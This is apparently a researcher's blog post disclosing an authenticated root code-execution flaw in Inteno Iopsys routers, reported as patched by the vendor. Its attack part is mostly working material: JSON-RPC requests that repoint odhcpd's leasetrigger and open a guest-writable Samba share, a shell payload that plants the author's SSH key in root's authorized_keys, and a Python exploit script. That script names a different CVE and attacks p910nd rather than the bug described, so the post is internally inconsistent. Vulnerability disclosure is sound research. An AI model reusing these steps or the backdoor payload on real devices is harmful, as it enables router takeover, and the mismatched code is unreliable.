Remote Code Execution vulnerability in Inteno's Iopsys

I've discovered a remote code execution vulnerability in the latest version of Iopsys router software. This affects all Inteno routers and is caused by the dhcp daemon. This vulnerability has been assigned the ID CVE-2017-17867 and a CVSSv3 severity score of 8.8.

I've written about vulnerabilities in Inteno's Iopsys router software before (1, 2). I recommend reading the first post as it describes how one can call functions on the router - including ones which may not be listed in the admin panel. This time I've found that modifying certain configuration files allows an authenticated attacker to execute any binary or script as root. Again, since the WiFi key is usually the password for the admin's panel lowest-priviledged user user by default (or occasionally the password may be user as well), exploiting this is relatively easy on a large number of devices.

The vulnerablity stems from the fact that the user can modify odhcpd's configuration to point leasetrigger to anything they wish, which gets executed as soon as a new lease is granted by dhcpd. If we look at the default configuration:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","get",{config:"dhcp"}],"id":0}

< [...] "odhcpd":{".anonymous":false,".type":"odhcpd",".name":"odhcpd",".index":3,"leasefile":"\/tmp\/hosts\/odhcpd","maindhcp":"0","leasetrigger":"\/usr\/sbin\/odhcpd-update"}}}]}

We can see, that by default it points to /usr/sbin/odhcpd-update. The binary locating in /sbin/ is an indication that whatever gets executed is done so as root. We can test whether modifying this lets us execute code. For example, we can try setting it to /sbin/reboot. This should trigger an infinite loop of reboots, which we can physically observe.

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"dhcp",type:"odhcpd",values:{maindhcp:"1",leasetrigger:"/sbin/reboot"}}],"id":1}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"dhcp"}],"id":2}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.system","reboot",{}],"id":3}

Indeed, the router never fully boots up, indicating that /sbin/reboot gets executed somewhere along the line. If we, however, try setting leasetrigger to something a little bit more complex:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"dhcp",type:"odhcpd",values:{leasetrigger:"/bin/touch /tmp/test"}}],"id":4}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"dhcp"}],"id":5}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.system","reboot",{}],"id":6}

It doesn't seem to work:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","file","stat",{path:"/tmp/test"}],"id":7}

< {"jsonrpc":"2.0","id":7,"result":[4]}

This indicates that it only executes the binary and no arguments get passed to it. However, we can still point it to a script, which executes everything we want in turn.

We used to be able to place files on /tmp. However, since the patch for the previous vulnerability removed that ability, we are unable to place our script anywhere, leaving us at a dead end, right? Well, not quite. Iopsys also has a feature for Samba shares. Samba shares get mounted to /mnt, which is perfect for us. We can create a new share and enable Samba using ubus calls:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","add",{config:"samba",type:"sambashare",values:{name:"pwned",read_only:"no",create_mask:"0775",dir_mask:"0775",path:"/mnt/",guest_ok:"yes"}}],"id":8}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"samba",type:"samba",values:{interface:"lan"}}],"id":9}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"samba"}],"id":10}

We can also point leasetrigger to a location where we'll be dropping our script:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"dhcp",type:"odhcpd",values:{leasetrigger:"/mnt/pwn.sh"}}],"id":11}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"dhcp"}],"id":12}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.system","reboot",{}],"id":13}

We can now proceed to drop our malicious script and wait for it to be executed. As an example, I'm going to drop a script that adds my public SSH key to the authorized_keys file, allowing me to ssh into the router as root. As to not cripple the functionality of odhcpd, I'm also including the original leasetrigger:

#!/bin/sh

/bin/echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" > /etc/dropbear/authorized_keys

/usr/sbin/odhcpd-update

The unix tool smbclient is good enough for this:

$ smbclient \\\\IntenoSMB\\pwned x

smb: \> put /home/nns/pwn.sh pwn.sh

We restart odhcpd:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.service","stop",{name:"odhcpd"}],"id":14}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.service","start",{name:"odhcpd"}],"id":15}

After waiting a while, we try ssh'ing in, and:

$ ssh root@192.168.1.1

root@Inteno:~# uname -a
Linux Inteno 3.4.11-rt19 #3 SMP PREEMPT Mon Jun 26 12:32:53 EEST 2017 mips GNU/Linux
root@Inteno:~# 

Done! We now have a full root shell.

The vendor was notified of this issue and they quickly developed a patch to fix this. You can see the patch here.

Please also note that for some reason, everything uploaded to /mnt using Samba shares disappears after a reboot. This makes it extremely hard to get the payload to trigger consistently. However, it does trigger occasionally. You can find the line of code responsible for running leasetrigger here.

I've also written a proof of concept script in Python, which you can find below. It requires Python 3, a module called websocket-client which you can install by evoking pip install websocket-client and the Unix tool smbclient. First comment details usage instructions. As always, this exploit can be found on the inteno-exploits repository alongside other exploits I've written for IOPSYS devices.

#!/usr/bin/env python3

# Usage: cve-2018-10123.py <ip> <username> <password> <payload file>
# Details: https://neonsea.uk/blog/2018/04/15/pwn910nd.html

import json
import sys
import socket
import os
import time
from websocket import create_connection


def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [
                "00000000000000000000000000000000",
                "session",
                "login",
                {"username": username, "password": password},
            ],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        key = response.get("result")[1].get("ubus_rpc_session")
    except IndexError:
        return None
    return key


def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [key, namespace, argument, params],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        result = response.get("result")[1]
    except IndexError:
        if response.get("result")[0] == 0:
            return True
        return None
    return result


def sendData(host, port, data=""):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.sendall(data.encode("utf-8"))
    s.shutdown(socket.SHUT_WR)
    s.close()
    return None


def recvData(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    data = s.recv(1024)
    s.shutdown(socket.SHUT_WR)
    s.close()
    return data


def getArguments():
    if len(sys.argv) != 5:
        print(f"Usage: {sys.argv[0]} <ip> <username> <password> <payload file>")
        sys.exit(1)
    else:
        return sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]


if __name__ == "__main__":
    host, user, password, file = getArguments()

    with open(file, "r") as f:
        payload = f.read()

    print("Authenticating...")
    key = ubusAuth(host, user, password)
    if not key:
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Enabling p910nd and setting up exploit...")
    pwn910nd = ubusCall(
        host,
        key,
        "uci",
        "set",
        {
            "config": "p910nd",
            "type": "p910nd",
            "values": {
                "enabled": "1",
                "interface": "lan",
                "port": "0",
                "device": "/etc/init.d/p910nd",
            },
        },
    )
    if not pwn910nd:
        print("Enabling p910nd failed!")
        sys.exit(1)

    print("Committing changes...")
    p910ndc = ubusCall(host, key, "uci", "commit", {"config": "p910nd"})
    if not p910ndc:
        print("Committing changes failed!")
        sys.exit(1)

    print("Waiting for p910nd to start...")
    time.sleep(5)

    print("Sending key...")
    sendData(host, 9100, payload)

    print("Triggerring exploit...")
    print("Cleaning up...")

    dis910nd = ubusCall(
        host,
        key,
        "uci",
        "set",
        {
            "config": "p910nd",
            "type": "p910nd",
            "values": {"enabled": "0", "device": "/dev/usb/lp0"},
        },
    )
    if not dis910nd:
        print("Exploit and clean up failed!")
        sys.exit(1)

    p910ndc = ubusCall(host, key, "uci", "commit", {"config": "p910nd"})
    if not p910ndc:
        print("Exploit and clean up failed!")
        sys.exit(1)

    print("Exploitation complete")

Author | nns

Ethical Hacking and Cybersecurity professional with a special interest for hardware hacking, IoT and Linux/GNU.